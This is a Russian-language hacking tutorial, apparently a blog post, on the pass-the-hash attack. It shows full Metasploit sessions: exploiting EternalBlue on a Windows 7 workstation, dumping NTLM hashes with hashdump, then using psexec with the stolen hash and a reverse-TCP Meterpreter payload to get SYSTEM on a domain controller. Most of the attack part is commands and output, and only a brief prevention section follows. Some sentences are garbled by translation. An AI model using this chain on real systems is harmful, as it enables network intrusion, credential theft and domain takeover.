Как получить доступ к системе в Windows

Как получить доступ к системе в Windows

Пароли в Windows хранятся в виде хэшей, и иногда их бывает сложно взломать. Однако в некоторых ситуациях мы можем обойти это, используя хэш как есть, без необходимости знать открытый пароль. Особенно интересно, если нам удастся получить хэш административного пользователя, поскольку затем мы сможем аутентифицироваться с более высокими привилегиями, выполнив атаку, известную как передача хэша. Сегодня мы научимся как получить доступ к системе в Windows.

Обзора хэша

Чтобы понять технику передачи хеша, нам сначала нужно понять, что составляет хэш. В Windows типичный хэш будет выглядеть примерно так:

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::

Есть четыре отдельных раздела, разделенных точкой с запятой. Первая часть хэша — это имя пользователя, а вторая часть — числовой относительный идентификатор.

Третья часть — это LM-хэш, тип хэша, который использовался в старых системах Windows и был прекращен, начиная с Vista/Server 2008. Их больше не увидишь, но все же можно встретить в более старых системах. все еще используются. Если вы это сделаете, считайте, что вам повезло, потому что взломать их несложно.

Четвертая часть — это хэш NTLM, обновленная версия, используемая в современных системах Windows, которую гораздо сложнее взломать. Его также иногда называют NTHash, и это то, что мы можем использовать для передачи хэша.

Наша атака работает из-за того, как пароли хранятся, передаются и используются для аутентификации. Подумайте об этом: ваш пароль не передается по сети в открытом виде для всеобщего обозрения — он криптографически хэшируется с момента создания.

При аутентификации с использованием имени пользователя и пароля пароль хэшируется после его ввода. Учитывая все обстоятельства, компьютер не видит разницы между паролем и хэшем в конце. Таким образом, предоставив механизму аутентификации хэш напрямую, мы можем обойти необходимость знать открытый текстовый пароль.

Все становится особенно интересным, потому что, пока мы знаем имя пользователя, мы можем аутентифицироваться как администратор, используя только хэш пароля.

Захват хеша из начальной цели

Первое, что нам нужно сделать, это скомпрометировать первоначальную цель. В этом сценарии мы предполагаем, что это обычная рабочая станция (наша машина с Windows 7). Подойдет любой метод, но пока предположим, что эта машина уязвима для cd EternalBlue.

Мы можем использовать Metasploit, чтобы легко завладеть целью. Сначала запустите его:

~# msfconsole

msf5 >

Затем запустим «eternalblue».модуль  Для получения дополнительной информации об этом модуле ознакомьтесь с моим предыдущим руководством по использованию EternalBlue на сервере Windows.

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

В Meterpreter есть полезная команда hashdump, которая выводит все хэши LM или NTLM, присутствующие в системе.

meterpreter > hashdump

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Похоже, есть пользователь с именем «admin2», который, вероятно, имеет административные привилегии. Мы можем скопировать хэш и использовать его для подключения к другой машине.

Допустим, в сети есть еще один компьютер, который выглядит как сервер, возможно, контроллер домена (это будет коробка Windows Server 2016). Если бы мы могли получить доступ к этой машине, мы могли бы владеть всей сетью и любым компьютером в домене.

Передача хэша с помощью PsExec

Теперь, когда у нас есть хэш привилегированного пользователя, мы можем использовать его для аутентификации в окне Windows Server 2016, не указывая пароль в виде открытого текста. Мы можем сделать это с помощью модуля psexec Metasploit.

PsExec — это инструмент командной строки в Windows, который позволяет выполнять программы и команды в удаленных системах. Он полезен для администраторов, поскольку интегрируется с консольными приложениями и утилитами для беспрепятственного перенаправления ввода и вывода. Но всегда есть компромисс между удобством и безопасностью. Злоумышленник может использовать PsExec для выполнения вредоносных команд или в качестве бэкдора.

Metasploit содержит модифицированную версию PsExec, упрощающую подключение к удаленным целям. Используйте команду поиска, чтобы найти модуль:

msf5 > search psexec

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   1   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2   auxiliary/admin/smb/psexec_command                            normal     Yes    Microsoft Windows Authenticated Administration Utility
   3   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   4   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     Yes    DCOM Exec
   5   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     Yes    WMI Exec
   6   auxiliary/scanner/smb/psexec_loggedin_users                   normal     Yes    Microsoft Windows Authenticated Logged In Users Enumeration
   7   encoder/x86/service                                           manual     No     Register Service
   8   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   9   exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
   10  exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11  exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   12  exploit/windows/smb/psexec_psh               1999-01-01       manual     No     Microsoft Windows Authenticated Powershell Command Execution
   13  exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code Execution

Это старичок, но хороший. Загрузите его с помощью команды use.

msf5 > use exploit/windows/smb/psexec

Теперь мы можем отобразить текущие настройки с помощью команды options.

msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target address range or CIDR identifier
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Во-первых, нам нужно установить IP-адрес цели (сервер, на который мы сейчас нацеливаемся):

msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100
rhosts => 10.10.0.100

Затем мы можем установить имя пользователя и пароль, используя полученный хэш вместо открытого пароля.

msf5 exploit(windows/smb/psexec) > set smbuser admin2

smbuser => admin2

msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

Далее устанавливаем полезную нагрузку — мы будем использовать классический реверс TCP Meterpreter.

msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

И IP адрес нашей локальной машины и нужный порт.

msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(windows/smb/psexec) > set lport 1234

lport => 1234

Остальные параметры по умолчанию пока в порядке, так что все должно быть хорошо. Выключите его с помощью команды запуска.

msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.100:445 - Connecting to the server...
[*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'...
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[*] Sending stage (206403 bytes) to 10.10.0.100
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500

meterpreter >

Теперь у нас есть сеанс Meterpreter. Для подтверждения мы можем ввести такие команды, как getuid и sysinfo, для отображения информации о цели.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

Довольно аккуратно. Нам даже не нужен был пароль — только хеш — для доступа к серверу. Теперь мы владеем этой системой.

Профилактика

Как правило, довольно сложно защититься от атаки с передачей хэша, потому что в конечном итоге она выглядит как стандартная аутентификация. Лучше всего внедрить подход глубокой защиты, чтобы смягчить потенциальный ущерб.

Сведение привилегий к минимуму сведет на нет ущерб, который может нанести злоумышленник, если он первоначально закрепится в сети. Также следует использовать другие стандартные методы защиты, такие как использование брандмауэра и IDS/IPS для отслеживания и предотвращения любых вредоносных действий.

Windows также может быть настроена не кэшировать учетные данные, что помешает злоумышленникам собирать хэши, хранящиеся в памяти. Также могут быть предприняты дополнительные шаги, чтобы изолировать чувствительные системы в сети, чтобы ограничить возможности злоумышленника.

Заключение

В этом руководстве мы узнали о хэшах Windows, о том, как они используются при аутентификации и как ими можно злоупотреблять для выполнения атаки с передачей хэша. После того, как мы скомпрометировали низкоуровневую цель, мы сбросили хэши и нашли учетную запись администратора. Оттуда мы использовали Metasploit для передачи хэша и в конечном итоге получили доступ к системе на сервере.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.